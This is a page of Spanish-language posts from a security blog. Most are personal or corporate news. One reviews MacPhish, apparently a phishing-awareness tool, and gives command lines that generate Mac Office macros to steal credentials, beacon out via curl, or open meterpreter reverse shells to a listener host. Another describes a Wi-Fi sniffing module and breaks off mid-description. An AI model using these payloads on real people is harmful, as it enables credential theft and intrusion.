sábado, septiembre 30, 2017

50 chuletones de Grey, un día sin post en El lado del mal, y el "nuevo" fichaje que he hecho para mi equipo ¿Quién será?

Este mes de Septiembre he faltado en dos citas a mi rutina diaria de escribir un artículo para El lado del mal. Y eso que desde hace ya unos años tengo compañeros y amigos que me ayudan a llenar las semanas. Pero en Septiembre he faltado dos veces a mi propia obligación. Una de ellas, fue porque me pillaba en medio de mi gran travesía veraniega , y además de que hubo días en que estuve sin dormir hasta casi 40 horas, ya tuve suficiente actividad de otra forma, en las redes sociales, en artículos de periódicos, en programas de TV, etcétera, así que tampoco me castigué mucho por saltarme ese día.

Figura 1: 50 chuletones de Grey, un día sin post en El lado del mal,
y el "nuevo" fichaje que he hecho para mi equipo ¿Quién será?

Ayer, sin embargo, fue distinto. Tuve que elegir entre mi trabajo y mis amigos, o postear. Y elegí lo primero, como otros días en el mes de Julio y Agosto que elegí mi familia, esta vez contaba con un día muy apretado, ya que había organizado una comida con amigos. Los 50 Chuletones de Grey de los que os hablé en el post de mi viaje.

Figura 2: El grupo de WhatsApp de los "50 Chuletones de Grey"

Había surgido como esas cosas que se dicen en las sobremesas de las cenas y al final, lo organizamos. No sé si al final fuimos 50, 52 o 45, - eso sí, nos calzamos 60 chuletones - pues desde las 14:00 en adelante la gente estuvo llegando y marchándose, hasta las 22:00 horas. Una comida como debe ser. Con anécdotas, con recuerdos, e historias cruzadas. Aventuras de gente que se conoce de muchas guerras, pero todas en el mundo tecnológicos.



De hecho, allí hubo gente que ha trabajado o trabaja en las grandes empresas de tecnología del mundo. Desde IBM, HP, Oracle o Sun, hasta Google, Microsoft, Amazon, pasando por los departamentos tecnológicos de BBVA o Santander, y, por supuesto, las grandes Informática64, ElevenPaths, LUCA D3 y Telefónica. También compañeros de partners, como PlainConcepts, CodiceSoftware o Zerkana, que se han batido el cobre conmigo y mis equipos en innumerables proyectos.

A post shared by Chema Alonso (@chemaalonso) on

Todos allí disfrutamos de abrazos, besos, y muestras de cariño y respeto. La mayoría éramos gente que nos conocemos desde hace entre una y dos décadas, así que como os imaginaréis la cantidad de anécdotas era espectacular. Por supuesto, nos hicimos regalos. Yo regalé a mis amigos 50 libros de 0xWord con 50 dibujos de Josemaricariño para hacerlos únicos. Vale, no es que fuera gran cosa, y además los tuve que hacer durante ratitos que tenía libre, pero trabajé para que tuvieran un recuerdo mío.

Figura 5: Un josemaricariño original. ¡Ojo, que alguno se vende en Wallapop ya! 

Ellos se regalaron de todo, a mí me llegó una camiseta de Google Cloud, una botellita de vino de “cerca” de Jumilla, y una camiseta de Cálido Electrónico de antes de que los derechos fueran adquiridos por 0xWord, que es genial.


Así que, con todo este jaleo de día, junto con mi trabajo a primera hora, más dar mar una charla por la mañana en ENISA, más lo que pude resolver por teléfono y correo electrónico, mi tiempo para sentarme y escribir se me esfumó. Eso sí, hice lo que siempre suelo hacer para seguir contándoos cosas por aquí: Viví.

A post shared by Chema Alonso (@chemaalonso) on

Y aprovechando que os hablo de la chuletonada, y los amigos y compañeros de profesión con los que he vivido en los últimos años, he de deciros que me he traído uno nuevo a mi equipo que empieza a trabajar conmigo este lunes. Ya me traje a muchos otros para ElevenPaths, LUCA, Aura y la 4P, y ahora he conseguido – después de varios años intentándolo – convencer al “abuelo”, para que se venga a mi unidad de CDO.

A post shared by Chema Alonso (@chemaalonso) on

Sí, a partir del lunes 2 de Octubre, José Parada, al que conoceréis de mil aventuras en Microsoft y el BBVA, pasará a estar en mi equipo ayudándonos con temas de seguridad. Así que si quieres verlo en sus primeros días de trabajo, puedes pasarte por el Security Innovation Day el 5 de Octubre y así le das la ¿”enhorauena”? por acabar trabajando conmigo. Si eres capaz de reconocerlo en la última foto, ya tienes la explicación de por qué le he puesto la "pata" encima en la instantánea }:P

Saludos Malignos!

jueves, septiembre 28, 2017

Carrera ProFuturo: 8 de Octubre en Madrid

No soy un runner, o como dice Goyo Jiménez, un "corredor fosforito". No, no lo soy. Ni mucho menos. De vez en cuando hago alguna carrera, pero siempre distancias cortas y como forma de calentamiento antes de hacer alguna otra cosa. Además, me parece un deporte de los más duros, ya que cada zancada es una lucha contra ti mismo.

Figura 1: Carrera ProFuturo 8 de Octubre en Madrid

Lo mío es la bicicleta, ya lo sabéis. Puedo estar haciendo bicicleta sin parar durante semanas y no cansarme de hacer las mismas rutas. La bici me parece más divertida. Puedo disfrutar de subidas duras y rápidas bajadas.



Puedo ir más lejos. Puedo pinchar y tener que volver desde más lejos. Pero aún así, de vez en cuando hago algo de carrera. Distancias de calentamiento que van de los 2 a los 3.5 Km. No me suele interesar hacer más.
Pero este año voy a apuntarme a la Carrera Pro Futuro, que se celebrará el día 8 de Octubre partiendo del Distrito Telefónica. Pero me he apuntado a la carrerita de calentamiento. La de los 3 Km, solo por participar y tener una actividad divertida ese día, que completaré con una buena comida y alguna caña, por supuesto.

Figura 4: Datos de la carrera ProFuturo 2017

Así que, si no eres runner, pero te apetece hacer algo divertido, y te apetece venir a la carrera de 3 Km, nos vemos por allí. Lo mismo me reconoces si llevo el gorro, y si no, porque tengo una herida en la rodilla después de la última caída con el skate. ¿Os he dicho ya que yo no soy runner?

Saludos Malignos!

miércoles, septiembre 27, 2017

MacPhish: Hacking macOS / OSX con macros de Office para Mac y AppleScript

Este artículo es digno de nuestro querido blog Seguridad Apple, y  útil para los que cuando hacéis las auditorías de red también estáis formados en el Hacking de macOS/OX y no solo de redes Windows. Hoy el artículo habla de una herramienta que puede ser utilizada en campañas de concienciación para empleados, con el objetivo de ver qué empleados caen en la tentación de ejecutar las macros de documentos que llegan de fuentes de no confianza o, por qué no, de fuentes de confianza suplantadas.

Figura 1: Hacking macOS / OSX con macros de Office para Mac y AppleScript

En El lado del mal ya hemos hablado de herramientas que pueden ayudar en las campañas de concienciación de las empresas como Weeman o Mercure, las cuales, además, son Open Source y hoy toca de otra similar para macOS/OSX. La herramienta MacPhish, que está escrita en Python por Paulino Calderón, permite generar payloads para Office for Mac. Esta herramienta puede descargarse desde su Github.

Figura 2: MacPhis en GitHub

La herramienta proporciona diferentes vectores de ataque para obtener ciertos privilegios, accesos o credenciales de una máquina que ejecuta Office for Mac y dónde el target es un empleado de una organización. Los vectores son: beacon, creds, meterpreter y meterpreter-grant.

Figura 3: Ayuda de MacPhish

El primer método que hablaremos es el de creds. Este método permite generar un Applescript directamente, para el caso en el que se necesite ejecutarlo directamente en una shell. La instrucción para este método es la siguiente:
macphish.py –lh [host a la escucha] –lp [puerto a la escucha] –a creds. 
Figura 4: Parte del payload para robar las credenciales en AppleScript

En el siguiente video, el autor muestra como el fichero generado con el script en la macro solicita al usuario sus credenciales y las envía vía HTTP.

Figura 5: PoC MacPhis para robar credenciales con un doc office malicioso

El segundo método es el beacon o señal baliza. Este método permite conocer cuando una máquina está viva o levantada. En otras palabras, si lo metemos como macro en un .doc generado para Office for Mac, el código nos proporcionará una señal al host que hayamos configurado. Para generar el código debemos ejecutar la siguiente instrucción:
macphish.py –lh [host dónde recibiremos la señal]
En la siguiente imagen, podemos ver el código generado y que debemos utilizar como macro. Hay que fijarse que utiliza curl por defecto, pero podría cambiarse para utilizar, por ejemplo, wget u otros.

Figura 6: Apple script para generar la señal

Otro método, quizá aún más interesante que los anteriores, es el del meterpreter. Es decir, la posibilidad de lanzar un meterpreter y poder ejecutar código en la máquina dónde se abre el documento ofimático. La forma más sencilla para llevar a cabo esto es utilizar la siguiente instrucción:
macphish.py –lh [host a la escucha] –lp [puerto a la escucha] –p [payload a ejecutar] -a meterpreter 
Otra variante de este método es el conocido como meterpreter-grant, el cual consiste en generar un meterpreter que será ejecutado al ejecutar la macro y que invoca a GrantAccessToMultipleFiles(), para ello se puede ejecutar la siguiente instrucción:
macphish.py –lh [host a la escucha] –lp [puerto a la escucha] –p [payload] –a meterpreter-grant
Para ejemplificar este hecho, podemos lanzar la siguiente instrucción macphish.py –lh [host] –lp [puerto] –p python/meterpreter/reverse_https –a meterpreter. Se obtendrá algo similar a lo que vemos en la siguiente imagen.

Figura 7: Ejecución de meterpreter vía AppleScript

En el video puede mostrarse un ejemplo de utilización de payload para lograr acceso a la máquina, tras la ejecución de la macro. Es bastante similar a la utilización de esta técnica en máquinas Windows.

Figura 8: Poc de MacPhis para obtención de una sesión meterpreter

Sería interesante analizar los resultados de los ficheros ofimáticos con el objetivo de ver el ratio de detección que tendríamos en nuestra prueba de concienciación. Quizá el menos intrusivo fuera el método beacon, por lo que podría ser más fácil de utilizar en una prueba de concienciación. Sin duda, una herramienta interesante para tener en los proyectos de Ethical Hacking y para ampliar el arsenal de técnicas y herramientas de Hacking macOS/OSX.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths

martes, septiembre 26, 2017

Próximas citas para eventos, cursos y charlas: Hasta el 7 de Octubre

Hoy martes, aprovechando que tengo un día "tranquilo", os voy a dejar un artículo bastante cortito. Solo una lista de los eventos, charlas y cursos que tenéis desde mañana 27 de Septiembre, hasta el día 7 de Octubre, donde se ha metido alguna cosa nueva - que al final soy un facilón y me dejo convencer -. Esta es la agenda día a día.

Figura 1: Próximas citas para eventos, cursos y charlas: Hasta el 7 de Octubre

Mañana día 27 de Septiembre tenemos un seminario de los que más están gustado últimamente. Nuestros ElevenPaths Code Talks for Developers, dedicado a jugar con el SDK de Latch para GO. Si te tienes apps en GO y quieres ver cómo sacarle el máximo partido, tienes que apuntarte la fecha para la charla.
También mañana comienza la Ekoparty, donde van a participara algunos compañeros de ElevenPaths. No hace falta que os diga que el evento es una referencia única en estas fechas, así que si estás en Argentina o Uruguay, o te pilla bien pasar por Buenos Aires. No dudes en ir los días 27, 28 y 29 de Septiembre a la Ekoparty.

El 29 de Septiembre da comienzo el nuevo Curso Online de Auditorías Móviles de The Security Sentinel. Con una duración de 120 horas, y con la entrega del libro de 0xWord dedicado al Hacking iOS (iPhone & iPad) [2ª Edición], puedes seguirlo desde cualquier rincón de Internet.

Figura 3: Curso Online Auditorías Móviles

Los días 29 y 30 de Septiembre, también hay que contar con la PaellaCON en Valencia. Un evento en el que desde 0xWord estamos colaborando, así que podrás adquirir allí nuestros libros para que no tengas que encargarlos por Internet.

Figura 4: PaellaCON en Valencia

El 29 de Septiembre en Ciudad Real, y los días 2 de Octubre y 5 de Octubre en Valladolid, habrá tres Talentum Events de los que ya os hablé.

Yo ese día daré una Vídeo Conferencia en las Jornadas de Ciberseguridad en el Ayuntamiento de Siero, Asturias. Por motivos laborales me es imposible desplazarme hasta allí, pero haré una sesión de Preguntas y Respuestas a través de Internet.

El 3 de Octubre un Webinar de nuestros compañeros de LUCA D3, en este caso a ver cómo sacarle partido a los datos de dispositivos móviles en entornos de BigData para mejorar los servicios de transporte público, privado y las políticas de movilidad. Si estás en este sector, merece la pena que lo tengas en el radar. Aquí tienes toda la info.

Figura 5: Mobile Data in the Transport Sector

El 5 de Octubre dan comiendo la Navaja Negra 7ª Edición en Albacete, donde no solo colaboraremos desde 0xWord como siempre, sino que además habrá ponentes de ElevenPaths y yo mismo he sido invitado, en un formato panel, a participar allí. Así que los días 5, 6 y 7 puedes disfrutar de este - ya clásica - CON. Yo estaré presencialmente el día 5 de Octubre por la mañana.

Figura 6: Navaja Negra en Albacete

También el día 5 de Octubre dará comienzo el nuevo Curso Online de Seguridad en Redes de The Security Sentinel. Otro curso que puedes seguir desde cualquier rincón del mundo durante las 200 horas que tiene de trabajo. Además, recibirás el libro de "Seguridad en Infraestructuras Críticas y Sistemas Industriales" de 0xWord. Más info en la web del curo:

Figura 7: Curso Online de Seguridad en Redes

Y por la tarde, el 5 de Octubre, llega el Security Innovation Day de ElevenPaths - Security Rocks! -, donde os contaremos todo lo nuevo que hemos hecho durante este año. Será en Madrid, pero también vía Streaming Online. Sorpresas, como siempre, que serán desveladas allí. La charla inaugural, este año, la damos Yaiza Rubio y yo, así que nos vemos allí ese día.

Figura 8: Security Rocks! El 5 de Octubre en Madrid y Online

Después, ya sabéis que tendremos un buen cocktail, vino, comida, fotos, y risas con todos los miembros del equipo. De ahí, nos vamos a disfrutar de una buena "reunión de equipo", todos juntos.

Saludos Malignos!

lunes, septiembre 25, 2017

Cómo proteger tus críptomonedas en Kraken con Latch Cloud TOTP

En una entrada anterior expusimos cómo se se puede configurar Latch Cloud TOTP como segundo factor de autenticación en Coinbase, para proteger tu wallet de BitCoins, Ethereums & LiteCoins. Y como se exponía allí, no es el único sitio para gestionar tus criptomonedas que puedes proteger con Latch Cloud TOTP, así que hoy vamos a seguir con Kraken.

Figura 1: Cómo proteger tus críptomonedas en Kraken con Latch Cloud TOTP

Kraken fue fundada en 2011, con sede en San Francisco, y es una de las mayores plataformas de intercambio de Bitcoins en Euros, Dólares Canadienses, Dólares Estadounidenses, Libras Esterlinas y Yenes japoneses. Es identificado por algunos medios de comunicación independientes como una plataforma de gran volumen y un nivel alto de seguridad.

Figura 2: Kraken

Fue el primer intercambiador de Bitcoins en tener el precio y el volumen de transacción exhibido en la Terminal de Bloomberg, el primero en pasar una auditoría de comprobación de reservas criptográficamente verificable, y es socio en el primer banco de criptocorporación. Y en este artículo os queremos mostrar cómo usar Latch Cloud TOTP como Segundo Factor de Autenticación gestionando el uso de moneda digital de una forma más segura y al alcance de todos.

Figura 3: Página de activación de cuenta

Después de iniciar el registro en la web de Kraken Nos solicita una serie de datos como dirección de correo, nombre, etc. Para realizar el registro y la confirmación de estos para poder activar la cuenta que utilizaremos en este sitio.

Figura 4: Selección del método en la opción de 2FA

Dentro de la opción de menú de Seguridad -> segundo factor de autenticación.Podemos configurar la opción de utilizar Latch Cloud TOTP como Segundo Factor de Autenticación eligiendo este método dentro del menú "Method". Se debe seleccionar TOTP mode.

Figura 5: Selección de Método "Google Authenticator, TOTP Mode"

Posteriormente vamos a elegir el tipo de algoritmo OTP, y el número de caracteres del OTP, que en este caso puede ser entre 6 a 8. En Latch Cloud TOTP seleccionamos 6 caracteres y el algoritmo de TOTP.

Figura 6: QRCode generado para parear con Latch

Una vez hecho esto, nos aparecerá una pantalla con el Código QR de pareado y nos solicitará un Token OTP de confirmación de que el algoritmo ha sido configurado correctamente en tu app de Latch.

Figura 7: Añadir Servicio -> Proteger con Cloud TOTP -> Escanear código QR

En las siguientes pantallas mostramos el flujo de pantallas en la app de Latch. En estas primeras, seleccionamos añadir un nuevo servicio, protegemos con Cloud TOTP y escaneamos el Código QR, mostrado en la Figura 6 de la web de Kraken.

Figura 8:  Renombrar y listo

Después de escanear el Código QR, podemos cambiar la denominación del servicio y si continuamos ya disponemos de la protección de Latch Cloud TOTP implementada en mi wallet Latch. Hay que confirmar en Kraken con un Token generado por Latch que el proceso ha ido bien. Y cuando se hace, nos informa el sitio web de Kraken.

Figura 9: Configuración de Latch TOTP correcta

Y ya tenemos nuestro servicio de Kraken fácilmente protegido por Latch. Además, podemos organizar en una carpeta en Latch todos los Cloud TOTP que dispongamos.

Figura 10: Correo de confirmación co la configuración del TOTP

Además, el sitio web de Kraken nos informará por e-mail de que se ha configurado correctamente la protección TOTP en nuestra cuenta del servicio. Para que podáis ver el proceso completo, os hemos preparado este pequeño vídeo.

Figura 11: Configuración de Latch Cloud TOTP en Kraken

Autor: Juan Carlos Vigo, Product "Warrior" de Latch en ElevenPaths

domingo, septiembre 24, 2017

¿Dónde están los creadores de tecnología en la alta dirección?

La “Transformación Digital”. Se habla mucho de ella. Se habla de cómo todas las empresas hacen y deben hacer la transformación digital. Opina todo el mundo de ello. Portadas. Titulares. Análisis de inversión. Hay que transformarse … o morir. Yo incluso diría que hay que transformarse rápido …o morir rápido. Es lo que hay. Hay que revisar uno a uno todos los procesos de una compañía y recrearlos pensando en aprovechar al máximo la tecnología… o morir como empresa. Y si te saltas las olas tecnológicas, pues te tocará hacer catch-up, y más vale que confíes en ello, porque si no te queda …morir.

Figura 1: ¿Dónde están los creadores de tecnología en la alta dirección?

Pero no quiero hablar de eso, sino de cómo muchas empresas están atacando esa transformación digital internamente, y como pueden llegar a poner a liderar la transformación digital a directivos que no son “Creadores de Tecnología”. Sí, hay muchos directivos que leen blogs, revistas, siguen el Twitter, usan iPad, y leen libros sobre el mundo digital. Analizan los servicios de terceros, crean business cases, y lanzan iniciativas, pero en el fondo, jamás han sido “Creadores de Tecnología”. No conocen los detalles de la tecnología, porque jamás han desarrollado, han construido un sistema, han hecho una patente tecnológica, han pasado test de QA, han hecho análisis de rendimiento o han tenido que hacer un simple script de DevOps.

Por supuesto esto no es cierto si lo llevamos a países con economías en el mundo digital mucho más avanzada, donde es común ver en el C-Level y en el Board of Directors a Ingenieros que han programado, que han lanzado productos, que han firmado patentes, que han hecho tecnología ellos mismos, involucrados con equipos técnicos.

En otros países, basta con ir al C-Level de las empresas y ver cuántos son de esos. Haz la cuenta tú en tu empresa. Y si tú estás en ese C-Level, haz lo mismo. Mira cuantos son “de dedos gordos”. De esos que han mamado tecnología desde la base y siguen mamándola. Suéltales una crimpadora a ver si saben utilizarla. Diles que hagan un "Hello World!" en C, a ver que librerías incluyen y cómo hacen la E/S. De esos que saben cómo funcionan los patrones de diseño o que diferencian entre un diagrama de arquitectura y unas cajas pintadas en un PowerPoint.

No, no me malinterpretéis. No penséis ni por asomo que estoy denostando a los ejecutivos que no saben de tecnología. Lo que estoy diciendo es que en este mundo donde las empresas hablan de la Transformación Digital, deberían tener a gente (un buen porcentaje de gente) que de verdad sepa de tecnología. Que de verdad entienda la IT de hoy en día, (no la "Viejuna IT") que sepa de Big Data más allá de las tres palabras de moda. Que sepa cómo funcionan las tecnologías emergentes porque ha jugado con ellas en primera persona.

Sobre esto, la peor frase que he oído de un departamento de Recursos Humanos – por suerte no de mi empresa – ha sido “Es demasiado técnico”. ¿Y eso es malo? ¿Es que un tipo demasiado técnico no va a tener dotes de gestión presupuestaria? ¿Dotes de comunicación y liderazgo? ¿Dotes de compromiso con el delivery, las fechas de proyecto? ¿La calidad del servicio? ¿O el modelo de negocio? ¿Es demasiado malo ser bueno técnicamente?

No sé, yo miro Apple, Google, Microsoft, Facebook, etcétera, y veo que los técnicos en el C-Level y el Board of Directors fueron los que las hicieron grandes. Sí, eran demasiado técnicos, pero ¡qué pedazo de técnicos!

Así que, si quieres saber cómo le va a ir a tu empresa en el proceso de transformación digital, echa un vistazo al C-Level y el Board of Directors y ten presente que todos ellos van a hablar de la transformación digital en las mesas de debate.

Y si quieres saber cómo le va a ir a tu país, pues haz lo mismo pero con todas las empresas importantes. No es una cuenta directa, pero si yo tuviera que buscar un algoritmo predictivo seguro que entre los datos que utilizaría para mi análisis estarían esos valores.

Saludos Malignos!

sábado, septiembre 23, 2017

Talentum Tour llega a Madrid, Bilbao, Ciudad Real y Valladolid

Como os he contado muchas veces, mi primera "misión" en Telefónica fue trabajar en el programa Talentum - al que yo mismo bauticé con ese nombre tan chulo -. Era el 1 de Febrero de 2012 cuando yo entraba a trabajar en Telefónica. En aquellos entonces aún estaban distantes en el tiempo futuro proyectos como ElevenPaths, LUCA D3, la 4ª Plataforma o AURA, pero la diversión comenzaba.

Figura 1: Talentum Tour llega a Madrid, Bilbao, Ciudad Real y Valladolid

Años después, el programa Talentum sigue impregnando de jóvenes promesas de la tecnología las startups de Wayra, los equipos técnicos de Telefónica, y aparecen en nuevas empresas creadas por ellos mismos. El trabajo que comenzamos un pequeño equipo compuesto por Javier Santiso, Rosalía O'Donnell, Cristina Briales y yo mismo, aún sigue creciendo dentro de la casa, y fuera de ella. Rosalía y Cristina continúan haciendo que sea más grande este proyecto día a día.

Figura 2: Algunos Talentums

Ahora continúan en Tour por las universidades, ofreciendo becas para poder comenzar tu andadura profesional en el mundo tecnológico desde ya, para que puedas compaginar tu etapa formativa y profesional sin necesidad de esperar a terminar los estudios. Las próximas paradas son en Madrid, Bilbao, Ciudad Real y Valladolid.
Si tienes interés en comenzar tu vida profesional de una forma educativa y diferente, te recomiendo que explores las oportunidades del programa Talentum de Telefónica, y si quieres conocer más, que te vengas a uno de estos eventos que van a realizarse. Este programa se creó pensando en potenciarte para tu futuro.

Saludos Malignos!

viernes, septiembre 22, 2017

#TGIF Tres vídeos para ver en la siesta del fin de semana

Hoy es viernes, y no voy a daros mucho texto para leer. Al contrario, os voy a dejar tres vídeos para que los veáis, si os apetece, en algún momento de este fin de semana. A las horas de la siesta, que ya se ha acabado el Tour y La Vuelta, así que, os dejo charlas que ver.

Figura 1: Tres vídeos para ver en la siesta del fin de semana

El primero de los vídeos es la charla que di en Chile, en Un País Digital. Es cortita, de solo 20 minutos, y solo habla un poco de lo que estamos haciendo en Telefónica y el lanzamiento próximo de AURA en Chile. No es profunda, es más divulgativa.


Figura 2: Un País Digital en Chile


El segundo de los vídeos es para los amantes del conocimiento, ya que mis compañeros CSA de ElevenPaths hicieron esta semana una interesante sesión sobre Fog Computing, Edge Computing y Cloudlet Computing que merece la pena que veas para estar informado sobre estas tecnologías. Si no sabes las diferencias, deberías conocerlas.


Figura 3: Fog / Edge /Cloudlet Computing

La última es una charla entre amigos. Una charla entre amigos en Argentina donde Claudio Caracciolo y yo respondemos preguntas de todo tipo, por si queréis ver curiosidades personales y profesionales.


Figura 4: Charla con Claudio Caracciolo en Argentina

Y esto es todo, que tengáis un fin de semana espectacular todos, que hagáis deporte, disfrutéis de comidas, familia y diversión con los amigos. Pero no os olvidéis de alimentar el cerebro, aprender algo y leer algún libro interesante. Yo pienso hacer todo eso y más si puedo.

Saludos Malignos!

jueves, septiembre 21, 2017

Hacking Wi-Fi: Cómo funciona el "Salto de Canal" (Parte 2 de 2)

Una vez que hemos repasado todos estos entresijos de la parte teórica del proceso de "Salto de Canal" en las redes WiFi que vimos en la primera parte de este artículo, ya estamos preparados para crear una pequeña herramienta que realice ese trabajo, así que vamos a ver en esta parte cómo hacerlo. Comencemos con las problemáticas que hemos visto anteriormente una a una.

Figura 16: Hacking Wi-Fi: Cómo funciona el "Salto de Canal" (Parte 2 de 2)

A la hora de hacer un sniffing, tenemos que poder “escuchar” en todos los canales para poder capturar todos los paquetes que viajan por el aire, pero como esto no es posible, puesto que las interfaces inalámbricas tan solo pueden estar escuchando en un canal concreto en un momento determinado, lo que tenemos que hacer es ir cambiando de canal a intervalos reducidos de tiempo. De esta forma, aunque no estemos en todos los canales, virtualmente parecerá que sí.

También es importante recordar que la técnica de salto de canal no persigue capturar en sí todos los paquetes que viajan por el aire, más bien persigue el objetivo de localizar o detectar los dispositivos vivos que están trasmitiendo por el medio. Y, una vez localizados, centrarse en un objetivo concreto, es decir, realizar el sniffing a un solo canal. Por lo comentado hasta ahora, el tiempo que pasemos en un canal es muy importante, de ahora en adelante lo llamaremos “timming”.

Es importante ser conscientes de que muchas estaciones o clientes no están continuamente transmitiendo. Por lo que debemos de utilizar un “timming” lo suficientemente pequeño para barrer toda la banda de frecuencia, pero al mismo tiempo lo suficientemente grande para llegar a capturar los paquetes transmitidos. En las PoCs que he creado he utilizado un “timming” de 0.4 y 0.6. Pero es posible utilizar tiempos menores.

El solapamiento

A la hora de ir saltando de canal, lo más coherente como primera impresión, por sencillez, sería pensar en recorrer mediante un bucle todos los canales de formas secuencial. Es decir, recorrer los canales desde el 1 pasando por el 2, 3, 4... hasta recorrer los 14 canales. Sin embargo, esto no sería lo más eficiente. Como comentamos en los puntos anteriores, la banda de 2.4 Ghz tiene el inconveniente de los solapamientos entre canales - peor todavía si se utiliza el estándar IEEE 802.11n que utiliza un ancho de banda de 40 Mhz -. El solapamiento provoca que sea posible capturar tráfico que pertenece a los otros canales contiguos. Esto no interesa.

Para evitar este problema se suele ir saltando, como mínimo, de tres en tres canales. Si se analiza el funcionamiento de airodump-ng se puede corroborar que sigue un mecanismo basado en saltos no secuenciales.

Figura 17: Arrays de canales en airodump-ng

En el “header” de airodump-ng (aquí el C) se pueden ver los ARRAYs de las listas predefinidos con saltos de canales no secuenciales según el estándar utilizado. Está sería una de las formas correctas. Es posible, utilizando una imagen que muestre los solapamientos entre canales de los estándares IEEE 802.11 bgna buscar otra serie de saltos sin solapamiento.

Canales comunes y no comunes

Otro de los problemas que podemos encontrarnos es que, según la región o el país, vamos a poder utilizar unos canales u otros, dependiendo de la interfaz que se utilice y de la configuración de la región. Por lo que al definir una lista con los canales debemos de tener en cuenta cuales son los canales comunes a todos los países y cuáles no.

Ordenarlos de forma que si un canal no común no se utiliza no rompa la eficiencia ante el solapamiento de la lista. Es decir, si tenemos la siguiente lista: 1, 14, 2. Y no utilizamos el canal 14. Al final se va a realizar el salto del canal 1 al 2 y esto no sería correcto al ser canales contiguos y solapables. Recordad que los canales comunes en todos los países van desde el 1 hasta el 11. El 12 y 13 se utilizan en la mayoría de países y el 14 solo en Japón.

¿Qué canales?

Por el mismo problema que el caso anterior, es posible que no todos los canales funcionen al realizar el cambio de canal (aparezcan errores). Por lo que se estaría realizando saltos a canales no válidos. La solución más óptima, en mi opinión, sería comprobar antes de realizar el sniffing que canales son válidos y cuáles no.

¿Qué bandas?

Lo mismo que el caso anterior, pero en esta ocasión referente a las bandas de frecuencia y a los canales. También se podrá solucionar haciendo una comprobación previa.

Mi módulo, SaltoCanal

El objetivo que se persigue es crear un módulo independiente que pueda ser utilizado por otras herramientas de forma totalmente modular y abstracta. Que esté pensando para utilizar en una Raspberry Pi con la interfaz inalámbrica que trae de serie bajo la distribución modificada de Kali Linux. Como lenguaje de programación he decido utilizar Python. Por diversos motivos. Entre ellos:

  • Es el recomendado por los fundadores de la Raspberry Pi.
  • Por ser un lenguaje de programación de alto nivel. Un lenguaje de sintaxis sencilla y clara.
  • Es un lenguaje con gran documentación y herramientas.
  • Es fácil de aprender. Cualquiera que no conozca el lenguaje pero que sepa programar puede comprender fácilmente el código. Por lo que facilita el aprendizaje a terceros.
  • Es un lenguaje interpretado o de script, fuertemente tipado y dinámico, es multiplataforma y es orientado a objetos.
  • Además, es un lenguaje bastante potente y con muchas librerías que nos ayudan a realizar casi cualquier cosa.

Otro de los motivos más importantes es que se integra muy bien con Scapy. Librería que estoy utilizando para el desarrollo del proyecto que tengo entre manos. Aquí os dejo el enlace a GitHub del código del script:


Figura 18: Módulo salto_canal.py

Este código está sujeto a cambios, no puedo decir que esté testeado a fondo. Por lo que seguro que habrá que corregir algunas cosas.

SaltoCanal

Utiliza los siguientes módulos:

  • Thread de threading.
  • Os.
  • Sys.
  • Popen, PIPE de subprocess.
  • SIGINT, signal de signal.
  • Sleep de time.

Y un módulo propio, manejo_interfaz, para realizar ciertas operaciones que son comunes sobre las interfaces inalámbricas. Las constantes que utiliza son dos listas de canales ordenadas mediante un sistema ideal para evitar el solapamiento:

  • LISTA_CANALES_24GHZ = [1, 6, 11, 14, 2, 7, 3, 8, 4, 12, 9, 5, 10, 13]
  • LISTA_CANALES_5GHZ = [36, 38, 40, 42, 44, 46, 52, 56, 58, 60, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 149, 153, 157, 161, 165] DN = open(os.devnull, 'w')

Esta constante se utilizará para descartar la salida cuando se invoque a popen.

La clase SaltoCanal

El modulo es una clase que hereda de threading.Thread. Sus métodos son:

Métodos públicos:

 __init__: Para instanciar el objeto.
 comprobar_canales: Para comprobar que canales podemos utilizar.
 fijar_canal: Para fijar la interfaz en un canal concreto.
 tiempo_canal: El “timming”, el tiempo que se utiliza un canal al realizar el salto de canal.
 lista_VIC: Very Important Channel. Crea una lista con los canales más importantes para el usuario.
 fijar_canales: Para fijar los canales en una lista dada por el usuario.
 pausar: Para pausar el hilo.
 continuar: Para continuar con el hilo si está pausado.
 terminar: Para finalizar el hilo.
 run: Para ejecutar el hilo.

Métodos privados:

 __get_pausar: Devuelve la variable pausa.
 __lista_canales_valida: Para comprobar que los datos de entrada del __init__ son correctos.
 __comprobar_interfaz: Comprueba que existe la interfaz proporciona por el usuario y que está se encuentra en modo MONITOR o RFMON.
 __cambiar_canal: Método que cambia el canal de la interfaz mediante un proceso.
 __comprobar_canales: Comprueba los canales válidos que se pueden utilizar y devuelve una lista de ellos.

Pasemos ahora a detallar cada método.

__init__()
Como ya sabréis es un método reservado para instanciar los objetos de la clase (el constructor en Java). Por ejemplo, sc = SaltoCanal(“wlan1”). A este método solo es obligatorio pasarle la interfaz. Todas las demás variables son optativas.
  • La variable espera se utiliza para indicar el tiempo de escucha en un canal concreto.
  • La variable check se utiliza para realizar la comprobación de canales. Es decir, para verificar aquellos que funcionan y descartar los que no.
  • Las variables _24Ghz y _5Ghz indican que listas de bandas de frecuencia se van a utilizar.
  • Por último, verbose, para que la clase imprima por pantalla información al respecto.
Como el objetivo es utilizar esta clase desde otros scripts puede resultar más eficiente que sea mudo. Por lo que nos bastará por comprobar los códigos de salida para conocer el motivo. Dentro del método se verifican que los datos de entrada sean coherentes, es decir, que al menos se pase una de las bandas de frecuencia, esto se hace con el método privado: “__lista_canales_valida()”. 
También comprobamos que la interfaz facilitada por el usuario es correcta o existe y está en modo monitor o RFMON. Para ello se llama al método privado “__comprobar_interfaz()” que a su vez utilizará otros métodos (existe_interfaz() y esta_modo_monitor()) utilizando un módulo externo que fue creado por mí y que tiene como nombre manejo_interfaz. Con ellos verificaremos que existe la interfaz y que está en modo monitor. Miraros este módulo para ver cómo se comprueban estas cosas. 
Cabe resaltar que es aquí donde se inicializa el hilo (“Thread”) y que se crea como daemon. Que básicamente es para que el hilo principal pueda terminar sin esperar a nadie más. Se inicializan el resto de variables que utilizaremos para el correcto funcionamiento del hilo.
comprobar_canales()
Este método se utiliza para comprobar que canales se pueden utilizar y cuáles no. Por lo que devolverá una lista con los canales válidos. Este proceso solo se realiza si el check está a True. Para ello, utiliza el método privado “__comprobar_canales()”.
__comprobar_canales():
